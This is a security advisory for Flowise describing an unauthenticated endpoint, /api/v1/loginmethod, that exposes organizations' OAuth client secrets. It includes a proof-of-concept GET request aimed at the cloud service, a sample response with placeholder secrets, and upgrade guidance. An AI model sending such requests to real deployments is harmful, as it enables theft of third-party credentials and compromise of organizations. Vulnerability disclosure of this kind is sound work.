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5.3

Flowise: Unauthenticated Access to OAuth Secrets via GET Request

GHSA-6pcv-j4jx-m4vx
Summary

If an attacker knows an organization ID, they can access sensitive login information, including passwords and security codes, without needing a password. This is a security risk because it allows unauthorized access to critical login credentials. To fix this, Flowise needs to require authentication for the /api/v1/loginmethod endpoint.

What to do
  • Update henryheng flowise to version 3.1.0.
Affected software
Ecosystem VendorProductAffected versions
npm henryheng flowise < 3.1.0
Fix: upgrade to 3.1.0
Original title
Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request
Original description
### Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.


### PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request
```http
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json
```

Response: The server returns 200 OK with sensitive credentials:
```json
{
"providers": [
{
"id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "azure",
"config": {
"tenantID": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "google",
"config": {
"clientID": "123455",
"clientSecret": "123455"
},
"status": "enable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "auth0",
"config": {
"domain": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "github",
"config": {
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
}
],
"callbacks": [
{
"providerName": "azure",
"callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
},
{
"providerName": "google",
"callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
},
{
"providerName": "auth0",
"callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
},
{
"providerName": "github",
"callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
}
]
}
```
### Affected Deployments
- FlowiseAI Cloud (cloud.flowiseai.com)
- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

### Impact
An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.
osv CVSS3.1 5.3
Vulnerability type
CWE-306 Missing Authentication for Critical Function
CWE-312 Cleartext Storage of Sensitive Information
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026